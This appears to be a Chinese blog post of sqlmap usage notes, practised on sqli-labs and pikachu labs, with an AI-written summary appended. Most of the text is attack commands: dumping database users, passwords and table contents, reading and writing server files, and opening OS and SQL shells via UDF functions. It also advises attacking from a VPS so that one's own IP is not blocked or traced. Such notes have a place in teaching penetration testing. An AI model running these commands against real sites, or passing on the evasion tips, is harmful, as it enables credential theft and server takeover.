Sqlmap工具使用笔记

pip install sqlmap
SQLmap建议使用kali版本的 不建议使用windows版本
攻击的时候建议使用vps去攻击 否则本地ip会很快被封
sqlmap

sqlmap -u "目标网址" --dbs
sqlmap -u "目标网址" -D [数据库名] --tables
sqlmap -u "目标网址" -D [数据库名] -T [表名] --columns
sqlmap -u "目标网址" -D [数据库名] -T [表名] -C [列名] --dump

指定报错注入

sqlmap -u "目标网址" --dbs --batch --threads 10 --technique E

post类
sqlmap -u "目标网址" --data "uname=123*&password=123&submit=submit" --dbs --batch --threads 10 --technique E
sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/" --data "uname=usss*&passwd=passwd&submit=Submit" --dbs --batch --threads 10 --technique BETS --level 5

http头注入
burp抓包,要攻击的地方*
sqlmap -r "./a.txt" --dbs --threads 10 --batch --technique BETS

或者
sqlmap -u "目标网址" --user-agent="xxx*" --level 4 --dbs --threads 10 --batch --technique BETS

读取文件
Sqlmap -u "
http://pikachu.com/vul/sqli/sqli_str.php?name=a&submit=submit" --file-read "c:/a.txt"

写入文件
Sqlmap -u "
http://pikachu.com/vul/sqli/sqli_str.php?name=a&submit=submit"  --file-write "1.txt" --file-dest "c:/123.txt"
//将本地目录下的1.txt写到目标url下的c盘下

执行os-shell
注意!!!!!你必须确认你网站的路径
sqlmap -u "
http://pikachu.com/vul/sqli/sqli_str.php?name=a&submit=submit" --os-shell

连接数据库执行数据库shell命令
Sqlmap -d mysql://[数据库用户名]:[密码]@127.0.0.1:3306/haha --sql-shell

本身是使用python编写的 非常厉害 基本人手一个  而且是开源的 可以自行重写改造开发
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1'                    # 检测注入点是否可用
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-user  #web数据库使用账户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --users     #列出sql所有用户
sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --passwords   #数据库账户与密码
sqlmap -u ‘192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1’ --tables   #输出所有的表
burp抓包保存为1.txt
sqlmap -r 1.txt --dbs        #可曝出该mysql中所有数据库名称
sqlmap -r 1.txt --current-db   #web当前使用的数据库
如果sqlmap攻击比较慢 要么是网站比较慢 或者是有防火墙,这款软件本身是有指纹的 可能被对方追查到甚至封ip逆推
(ps:url必须是检测出来的有漏洞的一个网页 存在注入点才行)
1. sqlmap -u [目标url] --dbs    //获取目标网站的所有数据库库名   发现security库
//  sqlmap -u '192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1' --current-db   #web当前使用的数据库
2.  sqlmap -u [目标url] -D [第一步获取某个数据库的名字] --tables   //获取库里的表
3.  sqlmap -u [目标url] -D [数据库名] -T [库中的某个表名] --columns   //发现users表的列  发现id username password
4.  sqlmap -u [目标url] -D [数据库名] -T [数据表名] -C username,password --dump    //找到id,username,password的内容 获取相应表里的列的字段数据
完整版命令:
sqlmap -u [目标url] --dbs --batch --threads 10 --technique U
忽略错误,使用sqlmap的10线程,使用union select注入目标网站  technique主要是注入的方法
SQLmap实现 报错注入 :(普通的union select无法实现的情况)
sqlmap -u [目标url] --current-db --batch --threads 10 --technique E   //使用报错注入 E是error based
SQLmap实现布尔盲注:
sqlmap -u [目标url] --current-db --batch --threads 10 --technique B
SQLmap实现时间盲注:
sqlmap -u [目标url] --current-db --batch --threads 10 --technique T -v 3   //-v 3 是调整等级 可以不写
如果网站传参数的方式是post型:post方面的注入 可以用burp抓包 在repearter操作
post代码传参结合数据库查询的语句:
$uname = $_POST['uname'];
$passwd = $_POST['password'];
select username,password from users where username='$uname' and password='$passwd' limit 0,1
sqlmap -u http://sqlilabs.njhack.xyz/Less-11/ --data "uname=admin*&passwd=admin&submit=Submit" --current-db --batch --threads 10 --technique E
--data 后面跟的是post的数据    *号标哪,就是让sqlmap打哪
POST型使用sqlmap方法2:
在burp抓到post的网页的包以后
在相应的windwos的sqlmap下输入
python sqlmap.py -r 
之后把burp抓到的包保存为txt到桌面,直接拖到这个dos界面以后就可以了
SQLmap之POST注入(*标识哪里 就对哪里进行打击)
sqlmap -u "目标url" --data "uname=admin*&passwd=admin&submit=Submit" --dbs --batch --threads 10 --technique E
SQLmap实现Http-header头注入之 User-Agent注入
#方法1
sqlmap -u http://sqlilabs.njhack.xyz/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0*" --level 4 --dbs --threads 10 --batch --technique E
//在使用请求头注入的时候,--level必须大于3
user-agent注入   //sqlmap -u [网页的url地址] --user-agent="抓包得到的对应的内容*" --level 4 --dbs --threads 10 --batch --technique E
#方法2 使用burp (更好)
1.burp抓到相应的数据包 右键copy to file
2.进入刚才保存的txt文件 在User-Agent最后打个星号 *
3.将相应的txt文件拖到相应的根目录下
4.sqlmap -r "/root/shuju.txt" --dbs --batch --threads 10 --technique E
SQLmap实现Http-header头注入之 Cookie注入
sqlmap -u http://sqlilabs.njhack.xyz/Less-20/index.php --cookie="uname = admin*;__cfduid=dab97c3dd6a54c5ca485d3e880af5ce271605180690" --level 4 --dbs --threads 10 --batch --technique BETS
// sqlmap -u [网页的url地址] --cookie="原来*的cookie内容" --level 4 --dbs --threads 10 --batch --technique E
1.盲注中sqlmap的使用(如果修改请同步SQL注入文件中的部分内容)
Sqlmap进行布尔盲注
#参数
#1.跑出当前数据库
sqlmap -u [执行注入网址](GET) --current-db(当前数据库) --batch(默认选择是) --threads
10 (使用10线程去注入) --level 5 (注入程度,最高为5)--technique B
#2.跑出当前数据表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch
--threads 10 --level 5 --technique B
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想
要注入它的数据列) --batch --threads 10 --level 5 --technique B
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要
注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level5 --
technique B
Sqlmap进行时间盲注
#参数
#1.跑出当前数据库
sqlmap -u [执行注入网址](GET) --current-db(当前数据库) --batch(默认选择是) --threads
10 (使用10线程去注入) --level 5 (注入程度,最高为5)--technique T
#2.跑出当前数据表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch
--threads 10 --level 5 --technique T
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想
要注入它的数据列) --batch --threads 10 --level 5 --technique T
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要
注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level5 --
technique T
指定数据库类型 --dbms
http://192.168.1.121/sqli/Less-1/?id=1&&name=2 --dbms mysql --dbs
指定操作系统 --os
http://192.168.1.121/sqli/Less-1/?id=1&&name=2 --os windows --dbs
解决编码问题
将所有结果转换为字符串,并用空格替换NULL结果 --no-cast
关闭字符串转义机制
--no-escape
设置无效值替换
--invalid-bignum 大整数替换
--invalid-logical 布尔操作替换
--invalid-string 随机字符串替换
自定义注入负载位置
--prefix 设置前缀
--suffix 设置后缀
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" -- prefix="')" --suffix="and ('abc'='abc" --dbs
payload:id=('1') and ('abc'='abc')
设置tamper脚本
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --tamper "least.py,varnish.py" --dbs
设置dbms认证
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --dbms cred="root:root" --dbs
设置具体sql注入技术
--technique B 布尔盲注 
--technique E 报错注入
--technique U union查询注入
--technique S 堆叠注入
--technique T 时间盲注
--technique Q 内联查询注入
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" -- technique T --time-sec 3 --dbs
--time -sec 时间盲注时间为3
指定union字段数
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --union cols 12-18 --dbs
指定union字符,默认是null
sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --union char aaa --dbs
2. 判断文本中的请求是否存在注入。
从文件中加载HTTP请求,SQLMAP可以从一个文本文件中获取HTTP请求,根据这个文本文件我
们可以不设置其他参数,譬如Cookie,POST等,对文本中的Web数据包进行分析注入。
(1) Burpsuite抓包,全部内容保存为文本,譬如1.txt
(2) Sqlmap -r 参数进行注入
sqlmap -r 1.txt [其他参数] --current-db
sqlmap -r 1.txt --current-db --batch -threads 10   #速度会快一点
(3)如果存在注入,那么可以用sqlmap执行数据库命令。后续命令都是数据库的基本操作命令
sqlmap -r 1.txt --sql-shell --threads 10 --batch
sqlmap -u [url] --sql-shell
3. SQLmap 运行任意操作系统命令
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭 
在数据库为MySQL,PostgreSQL或Microsoft SQL SERVER,并且用户具有特定函数的时候,我
们通过包含自定义的SQLmap可以自动的上传一个二进制库函数sys_exec()和sys_eval(),那么创
建的这两个函数就可以执行系统命令。
UDF mysql 的一个拓展接口, UDF Userdefined function )可翻译为用户自定义函数,这个
是用来拓展 Mysql 的技术手段。
sqlmap -r 1.txt --os-shell   (后续语言可以选PHP,后续还有路径。如果不手动输入,那么sqlmap会把常用路径自动爆破,未必会成功,手动输入选择2。)
sqlmap -u [url] --os-shell
#获得系统shell后可以输入系统命令,如ipconfig,netuser等
4.SQLmap --file-read从服务器中读取文件
当用户权限足够大并且具有特定的函数(存在注入点),即可读取服务器中的文件,可以是文本,也可以是二进 制文件
sqlmap -r 1.txt --file-read "E:/a.txt" -v 1
sqlmap -u [url] --file-read "[目标文件]" -v 1
5. SQLmap --file-write --file-dest上传文件到服务器中
sqlmap -r 1.txt --file-write nihao.txt --file-dest "E:/kali-liux.txt" --batch --threads 10 -v 1    
#(--batch和--threads是没有限制的,都可以加)
sqlmap -u [url] --file-write [想要上传的文件] --file-dest [目标的文件位置] -v 1
使用sqlmap进行cookie注入
1.首先使用burpsuite抓包,查到cookie是什么
2. 进行sqlmap的cookie注入攻击( --dbs是用来获取所有数据库名称的参数。
sqlmap -u [网站的URL] --cookie "[抓到获取到的Cookie值]" --level 2
参数--level共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
3.爆破库( --current-db是为了获取当前数据库名称。
sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 –dbs
sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 --current-db
4.爆破表( 参数-D用于指定数据库名称为security。参数--tables为了明确获取的内容是security数据库中的表的名称。
​sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 –D security --tables
5.爆破字段( 参数-T用于指定目标是security数据库中的名为users表。参数--columns为了明确获取的内容是security数据库中的users表的列的名称。
​sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 -D security -T users --columns
6. 对关键字段进行详细展示( 参数-C password,username用于指定目标是security数据库中名为users表的password列和username列,顺便指出来这两列的输出顺序。参数--dump为了明确获取的内容是security数据库中的users表的password列和username列的内容。
​sqlmap -u http://www.any.com/sqli/Less-20/index.php --cookie "uname=admin"  --level 2 -D security -T users -C password,username –dump

  • 4
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Kali工具sqlmap是一款用于自动化检测和利用SQL注入漏洞的工具使用sqlmap可以帮助安全研究人员和渗透测试人员快速发现和利用网站中存在的SQL注入漏洞。 使用sqlmap的步骤如下: 1. 首先,你需要在Kali Linux系统上安装sqlmap工具。Kali Linux是一款专为渗透测试和网络安全而设计的操作系统,sqlmap是其中的一个内置工具。你可以使用命令"apt-get install sqlmap"来安装sqlmap工具。 2. 在安装完成后,你可以使用命令"sqlmap -u URL"来指定要测试的目标URL。这个URL应该是一个包含SQL注入漏洞的网站页面。sqlmap将会对该URL进行检测,以确定是否存在SQL注入漏洞。 3. 如果sqlmap检测到目标URL存在SQL注入漏洞,它将会显示出注入点的位置。你可以使用命令"sqlmap -u URL --dbs"来获取目标数据库的信息。这个命令将会列出所有的数据库名称。 4. 接下来,你可以使用命令"sqlmap -u URL -D database_name --tables"来获取目标数据库中的所有表名。这个命令将会列出所有的表名。 5. 一旦你获取到了目标数据库中的表名,你可以使用命令"sqlmap -u URL -D database_name -T table_name --columns"来获取指定表中的所有列名。这个命令将会列出指定表中的所有列名。 6. 最后,你可以使用命令"sqlmap -u URL -D database_name -T table_name -C column_name --dump"来获取指定列中的数据。这个命令将会列出指定列中的所有数据。 请注意,为了保护目标网站的安全和合法性,你需要在授权的情况下使用sqlmap工具进行SQL注入测试。同时,你也应该遵守法律法规和道德规范,在进行任何渗透测试活动时要遵循合法和合规的原则。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [kali基于sqlmap使用](https://blog.csdn.net/qq_53123067/article/details/124447705)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Kali使用手册top10工具part2](https://download.csdn.net/download/yifan2dj/8031897)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值